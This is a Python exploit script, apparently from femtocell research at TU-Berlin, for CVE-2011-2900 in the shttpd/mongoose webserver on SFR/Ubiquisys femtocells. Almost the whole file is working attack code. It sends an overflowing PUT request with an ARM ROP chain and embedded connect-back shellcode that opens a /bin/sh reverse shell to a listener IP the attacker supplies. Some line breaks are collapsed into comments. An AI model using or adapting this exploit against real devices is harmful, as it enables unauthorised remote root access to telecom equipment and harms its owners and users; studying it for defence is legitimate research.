#!/usr/bin/env python# part of femtocell research by TU-Berlin# only for educational purposes# Exploit Title: remote root on sfr/ubiquisys femtocell webserver (wsal/shttpd/mongoose)# Date: 2011-08-02# Author: nion# Software: http://code.google.com/p/mongoose/ http://sourceforge.net/projects/shttpd/# Version: shttpd <= 1.42, mongoose <= 3.0# CVE: CVE-2011-2900# Tested on: Linux (proprietary embedded distro) Linux 2.6.18-ubi-sys-V2.0.17
import socket, sys, time
import urllib, struct
if(len(sys.argv) < 3):
print sys.argv[0]+" <target ip> <listening ip>"
sys.exit(-1)
target = sys.argv[1]
listener = sys.argv[2]
SHELLCODE= 0xbc568# shellcode backup in connect struct, heap is not randomized
STACK_LIFT = "%a0%ce%31%40"# didnt want to use urllib to encode at this point# because it moves the heap address depending on if character is printable or not# and i was too lazy to adjust the payload when cleaning up the exploit :)
buf = "PUT /"
buf +="A"* 107 # first fill bytes will not be 148 because stack layout looks different when leaving put_dir()
buf += STACK_LIFT
# repeated stack liftingfor i in xrange(0, 26):
buf +="A"* 148
buf += STACK_LIFT
buf +="B"*132# padding to overwrite pc, last jump will go over this one
buf += STACK_LIFT # this will hit pc and produce our first jump# add sp, sp, #132; pop {r4, r5, r6, r7, pc}
buf +="A"*12 # this will be our last stack lifting after
buf += STACK_LIFT # jumping through our buffer back up# lets finish the path chunk and make some padding for the# last stack lift before pc gets popped to a different place
buf+="AAAAAAAAA/"+"A"*138
# first jump
buf += urllib.quote(struct.pack("<L", 0x4032a410))# --,# v# prepare lr so we can properly return from __clear_cache# 0x4032a410 <makecontext+28>:pop {lr}; (ldr lr, [sp], #4)# 0x4032a414 <makecontext+32>:add sp, sp, #8; 0x8# 0x4032a418 <makecontext+36>:bxlr
buf+=urllib.quote(struct.pack("<L", 0x403e937c))# free_slotinfo+128, return from __clear_cache
buf+="DDDDDDDD"# skip sp lifting, 8 dummy bytes because sp is lifted before branching# --, bx lr# v# 0x403e937c <free_slotinfo+128>: pop {r4, pc}
buf+="CCCC"# dummy r4
buf+=urllib.quote(struct.pack("<L", 0x402e5064))# __aeabi_cfcmple+16# --,# v# 0x402e5064 <__aeabi_cfcmple+16>: pop {r0, r1, r2, r3, pc}
buf+="AAAA"# dummy r0
buf+="CCCC"# dummy r1 (needed for __clear_cache)
buf+="DDDD"*2 # dummy r2, r3
buf+=urllib.quote(struct.pack("<L", 0x40364bbc))# envz_merge+184# --,# v# 0x40364bbc <envz_merge+184>:mov r0, r11# 0x40364bc0 <envz_merge+188>:pop {r4, r5, r6, r7, r8, r9, r11, pc}# at this point r11 points to an address on the heap in front of# our shellcode, e.g. 0xad220
buf+="FFFF"*7 # dummy r4-r9+r11
buf+=urllib.quote(struct.pack("<L", 0x402e5484))# __clear_cache# --,# v# __clear_cache will return to our prepare lr (free_slotinfo+128)# 0x403e937c <free_slotinfo+128>: pop {r4, pc}
buf+="AAAA"# dummy r4
buf +=urllib.quote(struct.pack("<L", SHELLCODE))# jump to shellcode# shellcode + some testing garbage in front of it
buf +="A"*16 # some garbage padding in front of our payload, could be nops or whatever# make listener shellcode friendly
evil_haxxor = urllib.quote("".join([struct.pack("B", int(x))for x in listener.split('.')]))# connect back shellcode
buf +="%01%10%8F%E2%11%FF%2F%E1%02%20%01%21%92%1A%0F%02%19%37%01%DF%06%1C%08%A1%10%22%02%37%01%DF%3F%27%02%21%30%1c%01%df%01%39%FB%D5%05%A0%92%1A%05%b4%69%46%0b%27%01%DF%C0%46%02%00%11%5c"+ evil_haxxor +"%2f%62%69%6e%2f%73%68%00/ HTTP/1.0\r\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, 80))
s.send(buf)
s.send("\r\n")
print s.recv(1024)
